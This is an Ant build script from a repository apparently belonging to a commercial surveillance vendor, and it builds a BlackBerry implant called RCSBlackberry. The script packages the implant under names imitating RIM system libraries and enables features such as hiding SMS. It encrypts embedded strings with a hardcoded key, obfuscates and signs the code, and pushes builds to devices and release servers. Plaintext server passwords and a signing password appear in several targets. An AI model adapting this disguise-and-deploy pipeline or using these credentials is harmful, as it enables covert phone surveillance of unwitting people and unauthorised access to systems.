hackedteam/core-blackberry

View on GitHub
build.xml

Summary

Maintainability
Test Coverage
<project name="RCSBlackberry" default="help" basedir=".">
    <typedef resource="bb-ant-defs.xml" />
    <!-- <taskdef resource="net/sf/antcontrib/antcontrib.properties" /> -->

    <taskdef resource="net/sf/antcontrib/antlib.xml">
        <classpath>
            <pathelement location="bb-tools/ant-contrib-1.0b3.jar" />
        </classpath>
    </taskdef>

    <!-- Environment properties -->
    <property file="local.properties" />
    <property file="version" />

    <path id="lib.classpath">
        <path location="${net_rim_api.jar}" />
    </path>

    <!-- Internal properties -->
    <property name="wtk.cldc.version" value="1.1" />
    <property name="wtk.midp.version" value="2.0" />
    <!-- property name="obfuscation" value="true" -->
    <property name="resources" location="res" />

    <!-- Application properties -->
    <property name="ht.vendor" value="RIM" />
    <property name="ht.version" value="1.0" />

    <property name="core.codename" value="net_rim_bb_lib" />
    <property name="lib.codename" value="net_rim_bb_lib_base" />
    <property name="group.name" value="Rim Library" />

    <property name="dist.lib" value="release/${lib.codename}.cod" />
    <property name="dist.core" value="release/${core.codename}.cod" />
    <property name="nodemo.core" value="nodemo/${core.codename}.cod" />
    <property name="debug.core" value="debug/${core.codename}.cod" />

    <property name="wanted.versions" value="5.0" /> 
    <property name="historic.versions" value="4.5" /> 
    <!-- <property name="wanted.versions" value="5.0" /> -->

    <!-- Symbols 
    DEBUG: versione con i log di debug su file
    RELEASE: versione strippata e offuscata
    DBC: verifiche Design by contract
    FAKECONF: configurazione presa da codice
    DEMO: versione demo, a meno di binary patch
    NODEMO: inibisce la demo.    
    -->
    <property name="preprocess.debug.symbols" value="DEBUG,DBC" />
    <property name="preprocess.test.symbols" value="TEST" />
    <property name="preprocess.release.symbols" value="RELEASE" />
    <property name="preprocess.nodemo.symbols" value="RELEASE,NODEMO" />
    <property name="preprocess.fakeconf.symbols" value="DEBUG,DBC,DEMO,FAKECONF" />

    <property name="preprocess.4.5.symbols" value="NO_SMS_HIDE,NO_MMS" />
    <property name="preprocess.4.6.symbols" value="NO_SMS_HIDE,NO_MMS" />
    <property name="preprocess.4.6.1.symbols" value="NO_SMS_HIDE,NO_MMS" />
    <property name="preprocess.4.7.symbols" value="SMS_HIDE,MMS" />
    <property name="preprocess.5.0.symbols" value="SMS_HIDE,MMS,OS_AT_LEAST_5" />
    <property name="preprocess.6.0.symbols" value="SMS_HIDE,MMS,OS_AT_LEAST_5" />
    <property name="preprocess.7.0.symbols" value="SMS_HIDE,MMS,OS_AT_LEAST_5" />
    <property name="preprocess.7.1.symbols" value="SMS_HIDE,MMS,OS_AT_LEAST_5" />

    <property name="javaloader" value="${jde.javaloader}" />

    <!-- Sources -->
    <property name="lib.src" location="RCSBlackBerryResources/src" />
    <property name="core.src" location="RCSBlackBerry/src" />

    <echo>antenna: ${antenna.jar}</echo>
    <!-- WTK Task definition -->
    <taskdef name="wtkpreprocess" classname="de.pleumann.antenna.WtkPreprocess" classpath="${antenna.jar}" />
    <taskdef name="wtkbuild" classname="de.pleumann.antenna.WtkBuild" classpath="${antenna.jar}" />
    <taskdef name="wtkpreverify" classname="de.pleumann.antenna.WtkPreverify" classpath="${antenna.jar}" />
    <taskdef name="wtkpackage" classname="de.pleumann.antenna.WtkPackage" classpath="${antenna.jar}" />
    <taskdef name="wtkrapc" classname="de.pleumann.antenna.WtkRapc" classpath="${antenna.jar}" />
    <taskdef name="wtkobfuscate" classname="de.pleumann.antenna.WtkObfuscate" classpath="${antenna.jar}" />
    <taskdef name="wtkjad" classname="de.pleumann.antenna.WtkJad" classpath="${antenna.jar}" />

    <taskdef name="crypter" classname="com.example.ant.Crypter">
        <classpath>
            <pathelement path="crypter/build/archive/crypter-ant.jar" />
        </classpath>
    </taskdef>

    <taskdef name="random" classname="com.example.ant.RandomString">
        <classpath>
            <pathelement path="crypter/build/archive/crypter-ant.jar" />
            <fileset dir="crypter/lib">
                <include name="**/*.jar" />
                <include name="**/*.zip" />
            </fileset>
        </classpath>
    </taskdef>

    <target name="salt">
        <random len="8" property="randomSalt">
        </random>
        <echo>Random:${randomSalt}</echo>
    </target>

    <target name="encrypt-messages" depends="salt">
        <delete file="RCSBlackberry/src/messages.bin" />
        <crypter encrypt="true" salt="${randomSalt}" keyFile="0x5333494a32158f52" inputFile="RCSBlackberry/preprocess/messages.properties.all" outputFile="RCSBlackberry/src/messages.bin" />
    </target>


    <target name="Display-Builtins" description="Display Builtin Properties">
        <!-- the absolute path to the location of the buildfile -->
        <echo>${basedir}</echo>
        <!-- the absolute path of the buildfile -->
        <echo>${ant.file}</echo>
        <!-- ant.version - the version of Ant that you are running -->
        <echo>${ant.version}</echo>
        <!-- ant.project.name - the name of the project that is currently executing; it is set in the name attribute of <project>. -->
        <echo>${ant.project.name}</echo>
        <!-- ant.java.version - the JVM version Ant detected; currently it can hold the values "1.1", "1.2", "1.3", "1.4" and "1.5". -->
        <echo>${ant.java.version}</echo>
        <echo>${dist.version}</echo>
        <echo>${dist.release}</echo>
    </target>


    <macrodef name="fakeconf">
        <attribute name="preprocess.symbols" />
        <attribute name="dir.to" />
        <sequential>
            <if>
                <contains string="@{preprocess.symbols}" substring="FAKECONF" />
                <then>
                    <echo message="copy config.json to: @{dir.to}/config.json" />
                    <copy file="RCSBlackberry/preprocess/config.json" tofile="@{dir.to}/config.json" />
                </then>
                <else>
                    <echo message="do not copy config.json" />
                </else>
            </if>
        </sequential>
    </macrodef>

    <macrodef name="preprocess">
        <attribute name="dir.src" />
        <attribute name="dir.to" />
        <attribute name="preprocess.symbols" default="NO_SYMBOLS" />
        <attribute name="exclude" default="**/tests/" />
        <attribute name="version" />
        <sequential>
            <echo message="=== Preprocess @{dir.src} => @{dir.to} ===" />
            <mkdir dir="@{dir.to}" />
            <copy todir="@{dir.to}">
                <fileset dir="@{dir.src}">
                    <include name="**/*.java" />
                    <include name="**/messages.bin" />
                    <include name="**/config.bin" />
                    <exclude name="@{exclude}" />
                </fileset>
            </copy>

            <fakeconf dir.to="@{dir.to}" preprocess.symbols="@{preprocess.symbols}" />

            <replace dir="@{dir.to}" token="//#preprocess" value="//!preprocess" />
            <echo message="--- Symbols @{preprocess.symbols},BlackBerrySDK@{version}.0 ---" />
            <wtkpreprocess verbose="false" srcdir="@{dir.to}" destdir="@{dir.to}" symbols="@{preprocess.symbols},BlackBerrySDK@{version}.0" />
        </sequential>
    </macrodef>

    <macrodef name="libbuild">
        <attribute name="preprocess.symbols" />
        <attribute name="version" />
        <sequential>
            <echo message="=============" />
            <echo message="===  LIB  ===" />
            <echo message="=============" />
            <echo>jde.home=${jde.home} wtk.home=${wtk.home}</echo>
            <local name="builddir" />
            <property name="builddir" location="build/lib/@{version}" />
            <mkdir dir="${builddir}/unverified" />
            <mkdir dir="${builddir}/preprocessed" />

            <!-- Create a JAD file. -->
            <wtkjad jadfile="${builddir}/lib.jad" jarfile="${builddir}/lib.jar" name="${lib.codename}" vendor="${ht.vendor}" version="${ht.version}">
                <attribute name="MicroEdition-Configuration" value="CLDC-${wtk.cldc.version}" />
                <attribute name="MicroEdition-Profile" value="MIDP-${wtk.midp.version}" />
                <attribute name="RIM-Library-Flags" value="2" />
            </wtkjad>

            <!-- Create a RAPC file. -->
            <manifest file="${builddir}/lib.rapc">
                <attribute name="MIDlet-Name" value="${core.codename}" />
                <attribute name="MIDlet-Version" value="${ht.version}" />
                <attribute name="MIDlet-Vendor" value="${ht.vendor}" />
                <attribute name="MIDlet-Jar-URL" value="lib.jar" />
                <attribute name="MIDlet-Jar-Size" value="0" />
                <attribute name="MicroEdition-Profile" value="MIDP-${wtk.midp.version}" />
                <attribute name="MicroEdition-Configuration" value="CLDC-${wtk.cldc.version}" />
                <attribute name="RIM-Library-Flags" value="2" />
            </manifest>

            <!-- Preprocess. -->
            <preprocess dir.src="${lib.src}" dir.to="${builddir}/preprocessed" version="@{version}" />

            <!-- Compile everything, but don't preverify (yet). -->
            <wtkbuild srcdir="${builddir}/preprocessed" destdir="${builddir}/unverified" preverify="false" />

            <!-- Package our newly compiled classes. -->
            <wtkpackage jarfile="${builddir}/lib.jar" jadfile="${builddir}/lib.jad">
                <fileset dir="${builddir}/unverified" />
                <fileset dir="${builddir}/preprocessed" includes="**/*.bin" />
            </wtkpackage>

            <!-- Preverify -->
            <wtkpreverify jarfile="${builddir}/lib.jar" jadfile="${builddir}/lib.jad">
                <classpath refid="lib.classpath" />
            </wtkpreverify>

            <!-- Rapc -->
            <mkdir dir="output/@{version}" />
            <wtkrapc jadfile="${builddir}/lib.jad" source="${builddir}/lib.jar" codename="${lib.codename}" import="${net_rim_api.jar}" destdir="output/@{version}" midlet="false" library="true" />

            <!--
            rapc.exe -nomain library=deliverables\Standard\4.5.0\net_rim_bb_lib_base 
            deliverables\Standard\4.5.0\net_rim_bb_lib_base.rapc 
            -sourceroot=C:\HT\RCSBlackBerry\Workspace\RCSBlackBerryResources\src;C:\HT\RCSBlackBerry\Workspace\RCSBlackBerryResources\res 
            -import=C:\Developer\eclipse_bb\plugins\net.rim.ejde.componentpack4.5.0_4.5.0.28\components\lib\net_rim_api.jar 
            C:\HT\RCSBlackBerry\Workspace\RCSBlackBerryResources\bin

             <exec dir="${builddir}" executable="${bb.buildjars.home}/rapc.exe" failonerror="true">
                    <arg value="-nomain" />
                    <arg value="import=${net_rim_api.jar}" />
                    <arg value="codename=${lib.codename}" />
                    <arg file="${builddir}/lib.rapc" />
                    <arg file="${builddir}/lib.jar" />
                </exec>
            -->

            <copy file="${builddir}/lib.jar" tofile="output/@{version}/${lib.codename}.jar" />
            <move todir="${builddir}">
                <fileset dir=".">
                    <include name="${lib.codename}*" />
                </fileset>
            </move>

        </sequential>
    </macrodef>

    <macrodef name="corebuild">
        <attribute name="preprocess.symbols" />
        <attribute name="kind" />
        <attribute name="osversion" />

        <sequential>
            <echo message="=============" />
            <echo message="===  CORE ===" />
            <echo message="=============" />

            <local name="builddir" />
            <property name="builddir" location="build/core/@{osversion}/@{kind}" />

            <mkdir dir="${builddir}/unverified" />
            <mkdir dir="${builddir}/preprocessed" />

            <!-- Create a JAD file. -->
            <wtkjad jadfile="${builddir}/core.jad" jarfile="${builddir}/core.jar" name="${core.codename}" vendor="${ht.vendor}" version="${ht.version}">
                <attribute name="MicroEdition-Configuration" value="CLDC-${wtk.cldc.version}" />
                <attribute name="MicroEdition-Profile" value="MIDP-${wtk.midp.version}" />
                <attribute name="RIM-MIDlet-Flags-1" value="3" />
                <attribute name="RIM-COD-Module-Name" value="${core.codename}" />
                <attribute name="MIDlet-Name" value="${core.codename}" />
            </wtkjad>

            <!-- Create a RAPC file. -->
            <manifest file="${builddir}/core.rapc">
                <attribute name="MIDlet-Name" value="${core.codename}" />
                <attribute name="MIDlet-Version" value="${ht.version}" />
                <attribute name="MIDlet-Vendor" value="${ht.vendor}" />
                <attribute name="MIDlet-Jar-URL" value="core.jar" />
                <attribute name="MIDlet-Jar-Size" value="0" />
                <attribute name="MicroEdition-Profile" value="MIDP-${wtk.midp.version}" />
                <attribute name="MicroEdition-Configuration" value="CLDC-${wtk.cldc.version}" />
                <attribute name="MIDlet-1" value="${core.codename},res/Blackberry_icon_sml.png," />
                <attribute name="RIM-MIDlet-Flags-1" value="3" />
            </manifest>

            <!-- Preprocess. -->
            <if>
                <equals arg1="@{kind}" arg2="test" />
                <then>
                    <echo message="Test preprocess" />
                    <preprocess version="@{osversion}" dir.src="${core.src}" dir.to="${builddir}/preprocessed" preprocess.symbols="@{preprocess.symbols}" exclude="" />
                </then>
                <else>
                    <echo message="Normal preprocess" />
                    <preprocess version="@{osversion}" dir.src="${core.src}" dir.to="${builddir}/preprocessed" preprocess.symbols="@{preprocess.symbols}" />
                </else>
            </if>

            <!-- Compile everything, but don't preverify (yet). -->
            <echo>lib: "output/@{osversion}/${lib.codename}.jar" </echo>
            <wtkbuild srcdir="${builddir}/preprocessed" destdir="${builddir}/unverified" preverify="true" bootclasspath="${net_rim_api.jar}">
                <classpath>
                    <path id="core.classpath">
                        <path location="${net_rim_api.jar}" />
                        <path location="output/@{osversion}/${lib.codename}.jar" />
                    </path>
                </classpath>
            </wtkbuild>

            <!-- Package our newly compiled classes. -->
            <wtkpackage jarfile="${builddir}/core.jar" jadfile="${builddir}/core.jad">
                <fileset dir="${builddir}/unverified" />
                <fileset dir="${core.src}/../res" includes="**/*.png" />
                <fileset dir="${builddir}/preprocessed" includes="messages.bin" />
                <fileset dir="${builddir}/preprocessed" includes="config.json" />
            </wtkpackage>

            <!-- Obfuscate -dontshrink -->
            <echo>wtk.proguard.home=${wtk.proguard.home}</echo>
            <wtkobfuscate jarfile="${builddir}/core.jar" jadfile="${builddir}/core.jad">
                <classpath refid="core.classpath" />
                <argument value="'-keep public class blackberry.Main { public *; }'" />
                <argument value="'-keep public class ** extends javax.microedition.midlet.MIDlet { public *; }'" />
                <argument value="-repackageclasses '' -allowaccessmodification -microedition -dontusemixedcaseclassnames" />
                <argument value="-printusage" />
            </wtkobfuscate>

            <!-- Preverify -->
            <wtkpreverify jarfile="${builddir}/core.jar" jadfile="${builddir}/core.jad">
                <classpath refid="core.classpath" />
            </wtkpreverify>

            <!-- Rapc 
            <wtkrapc jadfile="${builddir}/core.jad" source="${builddir}/core.jar" codename="${core.codename}" import="${net_rim_api.jar};output/@{version}/lib.jar" destdir="${builddir}" quiet="true" midlet="false" library="false" />
            rapc.exe -cr codename=deliverables\Standard\4.5.0\net_rim_bb_lib 
            deliverables\Standard\4.5.0\net_rim_bb_lib.rapc 
            -sourceroot=C:\HT\RCSBlackBerry\Workspace\RCSBlackBerry\src;C:\HT\RCSBlackBerry\Workspace\RCSBlackBerry\src\blackberry 
            -import=C:\Developer\eclipse_bb\plugins\net.rim.ejde.componentpack4.5.0_4.5.0.28\components\lib\net_rim_api.jar;C:\HT\RCSBlackBerry\Workspace\RCSBlackBerryResources\deliverables\Standard\4.5.0\net_rim_bb_lib_base.jar 
            C:\HT\RCSBlackBerry\Workspace\RCSBlackBerry\bin
                    
            -->

            <exec dir="${builddir}" executable="${bb.buildjars.home}/rapc.exe" failonerror="true">
                <arg value="-quiet" />
                <arg value="-import=${net_rim_api.jar};${builddir}/../../../../output/@{osversion}/${lib.codename}.jar" />
                <arg value="codename=${core.codename}" />
                <arg file="${builddir}/core.rapc" />
                <arg file="${builddir}/core.jar" />
            </exec>

            <copy file="preprocess/signature.csl" tofile="${builddir}/${core.codename}.csl" />
            <copy file="preprocess/signature.cso" tofile="${builddir}/${core.codename}.cso" />
            <move todir="${builddir}">
                <fileset dir=".">
                    <include name="${core.codename}*" />
                </fileset>
            </move>

            <!-- Sign -->
            <sign dir="${builddir}" cod="${core.codename}.cod" />

            <!-- Dist -->
            <mkdir dir="output/@{osversion}/@{kind}" />
            <copy file="${builddir}/${core.codename}.cod" todir="output/@{osversion}/@{kind}" />
            <copy file="output/@{osversion}/${lib.codename}.cod" todir="output/@{osversion}/@{kind}" />
        </sequential>
    </macrodef>

    <!-- Sign the COD  -->
    <macrodef name="sign">
        <attribute name="cod" />
        <attribute name="dir" />
        <sequential>
            <echo message="=== Sign @{dir}/@{cod} ===" />
            <!--<sigtool jdehome="${jde.home}" codfile="output/tocod/${codename}.cod" /> -->
            <java jar="${blackberry.certificate.dir}/SignatureTool.jar" fork="true" dir="@{dir}" failonerror="true">
                <arg line=" -a -p KUZ93HQ1 -c -s @{cod}" />
            </java>
        </sequential>
    </macrodef>
    
    <macrodef name="set-cfg">
        <attribute name="osversion" />
        <sequential>
            <echo message="=== Set-cfg @{osversion} ===" />
            <copy file="RCSBlackberry/preprocess/Cfg.java" toFile="RCSBlackberry/src/blackberry/config/Cfg.java" overwrite="true">
            <filterset>
                <filter token="BUILD_ID" value="${build.number}" />
                <filter token="BUILD_TIMESTAMP" value="${timestamp.BUILD}" />
                <filter token="GROUP_NAME" value="${group.name}" />
                <filter token="MODULE_NAME" value="${core.codename}" />
                <filter token="MODULE_LIB_NAME" value="${lib.codename}" />
                <filter token="RANDOM" value="${randomSalt}" />
                <filter token="VERSION" value="${dist.version}" />
                <filter token="RELEASE" value="${dist.release}" />
                <filter token="OSVERSION" value="@{osversion}" />
            </filterset>
        </copy>
        </sequential>
    </macrodef>

    <target name="init" depends="encrypt-messages">
        <echo message="=== Init ===" />
        
        <antcall target="Display-Builtins"/>

        <echo message="=== Version ${dist.release} ${dist.version} ===" />
        <tstamp>
            <format property="timestamp.BUILD" pattern="yyyyMMdd-hhmmss" />
        </tstamp>
        <buildnumber />

        <mkdir dir="build" />
        <mkdir dir="build/core" />
        <mkdir dir="build/lib" />
        <mkdir dir="output" />
    </target>

    <target name="clean">
        <echo message="=== Clean ===" />
        <delete dir="build" includeEmptyDirs="true" />
        <delete dir="output" includeEmptyDirs="true" />
        <delete dir="server/core" includeEmptyDirs="true" />
        <delete file="${core.src}/config.json" failonerror="false" />
    </target>

    <!-- list="45,50" -->
    <target name="build" depends="clean,init">

        <for list="${wanted.versions}" param="osversion">
            <sequential>
                <echo message="==============" />
                <echo message="===  BUILD === ------------------------------------------------------------" />
                <echo message="==============" />
                <echo>Version @{osversion}</echo>
                
                <set-cfg osversion="@{osversion}"/>
                
                <local name="jde.local.home" />
                <propertycopy name="jde.local.home" from="jde.@{osversion}.home" />
                <var name="jde.home" value="${jde.local.home}" />
                <var name="net_rim_api.jar" value="${jde.home}/lib/net_rim_api.jar" />
                <var name="bb.buildjars.home" value="${jde.home}/bin" />

                <local name="preprocess.version.symbols" />
                <propertycopy name="preprocess.version.symbols" from="preprocess.@{osversion}.symbols" />

                <echo>jde.home=${jde.home}</echo>

                <libbuild version="@{osversion}" preprocess.symbols="${preprocess.release.symbols},${preprocess.version.symbols}" />

                <echo message="_____________" />
                <echo message="     DEBUG   " />
                <corebuild kind="debug" osversion="@{osversion}" preprocess.symbols="${preprocess.debug.symbols},${preprocess.version.symbols}" />

                <echo message="_____________" />
                <echo message="    RELEASE  " />
                <corebuild kind="release" osversion="@{osversion}" preprocess.symbols="${preprocess.release.symbols},${preprocess.version.symbols}" />

                <!--
                <echo message="_____________" />
                <echo message="    NODEMO  " />
                <corebuild kind="nodemo" version="@{version}" preprocess.symbols="${preprocess.nodemo.symbols},${preprocess.version.symbols}" />
                
                <echo message="_____________" />
                <echo message="   FAKECONF    " />
                <corebuild kind="fakeconf" version="@{version}" preprocess.symbols="${preprocess.fakeconf.symbols},${preprocess.version.symbols}" />
                
                <echo message="_____________" />
                <echo message="     TEST    " />
                <corebuild kind="test" version="@{version}" preprocess.symbols="${preprocess.test.symbols},${preprocess.version.symbols}" />            
                -->
            </sequential>
        </for>
    </target>

    <!-- Load to device depends="sign" -->
    <target name="load">
        <echo message="=== Load ===" />
        <echo>${javaloader} ${lib.codename}.cod ${core.codename}.cod</echo>
        <exec executable="${javaloader}" dir="." failonerror="true">
            <arg value="-wrddr" />
            <arg value="-u" />
            <arg value="load" />
            <arg value="output/5.0/debug/${lib.codename}.cod" />
            <arg value="output/5.0/debug/${core.codename}.cod" />
        </exec>
    </target>

    <!-- Load to device depends="sign" -->
    <target name="loadcoredebug">
        <echo message="=== Load ===" />
        <echo>${javaloader} ${core.codename}.cod</echo>
        <exec executable="${javaloader}" dir="." failonerror="true">
            <arg value="-wrddr" />
            <arg value="-u" />
            <arg value="load" />
            <arg value="output/5.0/debug/${core.codename}.cod" />
        </exec>
    </target>

    <target name="loadcorerelease">
        <echo message="=== Load ===" />
        <echo>${javaloader} ${core.codename}.cod</echo>
        <exec executable="${javaloader}" dir="." failonerror="true">
            <arg value="-wrddr" />
            <arg value="-u" />
            <arg value="load" />
            <arg value="output/5.0/release/${core.codename}.cod" />
        </exec>
    </target>

    <target name="loadcore" depends="loadcorerelease" />

    <!-- Load to device depends="sign" -->
    <target name="uninstall">
        <echo message="=== Uninstall ===" />
        <echo>${javaloader}</echo>
        <exec executable="${javaloader}" dir="." failonerror="true">
            <arg value="-u" />
            <arg value="erase" />
            <arg value="-f" />
            <arg value="${core.codename}.cod" />
        </exec>
    </target>

    <!-- C:\Ruby193\bin\ruby c:\HT\rcs-core-build\rcs-core.rb -u zeno -p zenop123 -d rcs-castore -n blackberry -f RCS_0000000746 $args -->
    <macrodef name="updaterelease">
        <attribute name="server" />
        <attribute name="login" />
        <attribute name="password" />
        <attribute name="file" />
        <sequential>
            <echo>@{server}</echo>

            <exec executable="${ruby.path}" dir="." failonerror="true">
                <arg value="${rcscore.path}/rcs-core.rb" />
                <arg value="-u" />
                <arg value="@{login}" />
                <arg value="-p" />
                <arg value="@{password}" />
                <arg value="-d" />
                <arg value="@{server}" />
                <arg value="-n" />
                <arg value="blackberry" />
                <arg value="-R" />
                <arg value="@{file}" />
            </exec>

        </sequential>
    </macrodef>

  <target name="copyHistoric">
      <copy file="output/45/${dist.lib}" toDir="historicOutput/4.5/release" overwrite="true" />
      <copy file="output/45/${dist.core}" toDir="historicOutput/4.5/release" overwrite="true" />
  </target>
    <target name="update">
        <updaterelease server="rcs-castore" login="zenobatch" password="zenop123" file="./server/blackberry_${dist.version}.zip" />
        <copy file="./server/blackberry_${dist.version}.zip" toFile="/Volumes/SHARE/RELEASE/SVILUPPO/cores daVinci/blackberry.zip" overwrite="true" />
    </target>
    
    <target name="update-castore">
        <updaterelease server="rcs-castore" login="zenobatch" password="castoreP123" file="./server/blackberry_${dist.version}.zip" />
    </target>
    
    <target name="update-zeus">
        <updaterelease server="rcs-zeus" login="zeno" password="Fabriziop123" file="./server/blackberry_${dist.version}.zip" />
    </target>
    
    <target name="update-zenotto">
        <updaterelease server="zenotto" login="zeno" password="zenop123" file="./server/blackberry_${dist.version}.zip" />
    </target>

    <target name="addconf">
        <fakeconf dir.to="${core.src}" preprocess.symbols="FAKECONF" />
        <copy file="RCSBlackberry/preprocess/messages.properties.all"  toFile="RCSBlackberry/src/messages.bin" overwrite="true"/>
    </target>

    <property name="blackberry.simulator.path" location="${jde.45.home}\simulator" />
    <property name="simulator.model" value="8300" />

    <target name="servercore">
        <mkdir dir="server/core" />
        
        <copy toDir="server/core" overwrite="true">
            <fileset dir="server/template" excludes="**/res" />
            <filterset>
                <filter token="VERSION" value="${dist.version}" />
            </filterset>
        </copy>
        <copy toDir="server/core/res" overwrite="true">
            <fileset dir="server/template/res" />
        </copy>

        <for list="${historic.versions}" param="version">
            <sequential>
                <copy file="historicOutput/@{version}/${dist.lib}" toDir="server/core/res/" overwrite="true" />
                <unzip src="historicOutput/@{version}/${dist.core}" dest="server/core/res/v_@{version}" overwrite="true" />
            </sequential>
        </for>
        
        <for list="${wanted.versions}" param="version">
            <sequential>
                <copy file="output/@{version}/${dist.lib}" toDir="server/core/res/" overwrite="true" />
                <unzip src="output/@{version}/${dist.core}" dest="server/core/res/v_@{version}" overwrite="true" />
            </sequential>
        </for>
        
        <zip destfile="server/blackberry_${dist.version}.zip" basedir="server/core" />
    </target>

    <macrodef name="zipdist">
        <attribute name="destfile" />
        <sequential>
            <zip destfile="@{destfile}">
                <zipfileset dir="RCSBlackberry" prefix="RCSBlackberry" />
                <zipfileset dir="RCSBlackberryResources" prefix="RCSBlackberryResources" />
                <zipfileset dir="." includes="server" />
                <fileset dir="." includes="local.properties" />
                <fileset dir="." includes="build.xml" />
            </zip>
        </sequential>
    </macrodef>

    <macrodef name="rcscomp">
        <attribute name="destdir" />
        <attribute name="version"/>
        <sequential>
            <mkdir dir="@{destdir}/rcs7" />

            <copy file="output/@{version}/${dist.lib}" tofile="@{destdir}/lib.blackberry" overwrite="true" />

            <mkdir dir="@{destdir}/build" />
            <unzip src="output/@{version}/${dist.core}" dest="@{destdir}/build" overwrite="true" />
            <move file="@{destdir}/build/net_rim_bb_lib.cod" tofile="@{destdir}/build/net_rim_bb_core-0.cod" overwrite="true" />
            <move file="@{destdir}/build/net_rim_bb_lib-1.cod" tofile="@{destdir}/build/net_rim_bb_core-1.cod" overwrite="true" />
            <zip destfile="@{destdir}/core.demo.blackberry" basedir="@{destdir}/build/" compress="false" />

            <mkdir dir="@{destdir}/buildnodemo" />
            <unzip src="output/@{version}/${nodemo.core}" dest="@{destdir}/buildnodemo" overwrite="true" />
            <move file="@{destdir}/buildnodemo/net_rim_bb_lib.cod" tofile="@{destdir}/buildnodemo/net_rim_bb_core-0.cod" overwrite="true" />
            <move file="@{destdir}/buildnodemo/net_rim_bb_lib-1.cod" tofile="@{destdir}/buildnodemo/net_rim_bb_core-1.cod" overwrite="true" />
            <zip destfile="@{destdir}/core.nodemo.blackberry" basedir="@{destdir}/buildnodemo/" compress="false" />
        </sequential>
    </macrodef>

    <target name="zip">
        <zipdist destfile="../Dist/test.zip" />
    </target>

    <target name="dist">

        <tstamp>
            <format property="timestamp.BUILD" pattern="yyyyMMdd-hhmmss" />
        </tstamp>
        <property file="build.number" />

        <var name="destdir" value="../dist/${dist.release}/${build.number}.${timestamp.BUILD}" />
    

        <!-- <rcscomp destdir="${destdir}/rcs7" version="4.5"/> -->

        <for list="${wanted.versions}" param="version">
            <sequential>
                <mkdir dir="${destdir}/@{version}" />
                <copy file="output/@{version}/${dist.lib}" toDir="${destdir}/@{version}" overwrite="true" />
                <copy file="output/@{version}/${dist.core}" toDir="${destdir}/@{version}" overwrite="true" />
                <copy file="output/@{version}/${debug.core}" toFile="${destdir}/@{version}/core.debug.cod" overwrite="true" />
            </sequential>
        </for>
    
        <for list="${historic.versions}" param="version">
            <sequential>
                <mkdir dir="${destdir}/@{version}" />
                <copy file="historicOutput/@{version}/${dist.lib}" toDir="${destdir}/@{version}" overwrite="true" />
                <copy file="historicOutput/@{version}/${dist.core}" toDir="${destdir}/@{version}" overwrite="true" />
                <copy file="historicOutput/@{version}/${debug.core}" toFile="${destdir}/@{version}/core.debug.cod" overwrite="true" />
            </sequential>
        </for>

        <antcall target="servercore" />
        
        <copy file="server/blackberry_${dist.version}.zip" toDir="${destdir}" overwrite="true" />
        <copy file="server/blackberry_${dist.version}.zip" toFile="server/blackberry.zip" overwrite="true" />

        <zipdist destfile="${destdir}/blackberry_sources.zip" />

        <checksum>
            <fileset dir="${destdir}/">
                <include name="*" />
            </fileset>
        </checksum>

        <!-- <antcall target="update" /> -->
        
        <echo>${destdir}</echo>

    </target>
    
    <target name="all" depends="build,dist" />


    <!-- To run the application in simulator
    PS C:\Users\fabrizio\blackberry\Workspace> C:\Developer\eclipse_bb\plugins\net.rim.ejde.componentpack4.5.0_4.5.0.28\components\simulator\
    fledgecontroller.exe /session=8300
    Pause(5)
    RemoteCallCreation("555-1234")
    Pause(2)
    ThumbwheelPress
    ThumbwheelRelease
    Pause(10)
    KeyPress(ESCAPE)
    Pause(2)
    KeyRelease(ESCAPE)
    Exit

    http://docs.blackberry.com/en/developers/deliverables/606/BlackBerry_Device_Simulator_User_Guide.pdf
    -->
    <target name="simulator" description="Run in ${simulator.model} Simulator">
        <exec dir="${blackberry.simulator.path}" executable="${blackberry.simulator.path}/fledge.exe" spawn="true">
            <arg line=" /app=Jvm.dll " />
            <arg line=" /handheld=${simulator.model} " />
            <arg line=" /session=${simulator.model} " />
            <arg line=" /app-param=DisableRegistration " />
            <arg line=" /app-param=JvmAlxConfigFile:${simulator.model}.xml " />
            <arg line=" /data-port=0x4d44 " />
            <arg line=" /data-port=0x4d4e " />
            <arg line=" /pin=0x2100000A " />
        </exec>
    </target>

    <target name="help">
        <echo>ant build :  full build and sig</echo>
        <echo>ant simulator :  starts the simulator</echo>
        <echo>ant update : uploads both the core and the lib to castore</echo>
        <echo>ant loadcoredebug : uploads the core debug 45 on device</echo>
        <echo>ant loadcorerelease : uploads the core release 45 on device</echo>
        <echo>ant init : updates messages.all, cfg.java</echo>
        <echo>ant addconf : copy config.json in src/config.json</echo>
        <echo>ant dist : create a dist zip file and updates server/core</echo>
    </target>
</project>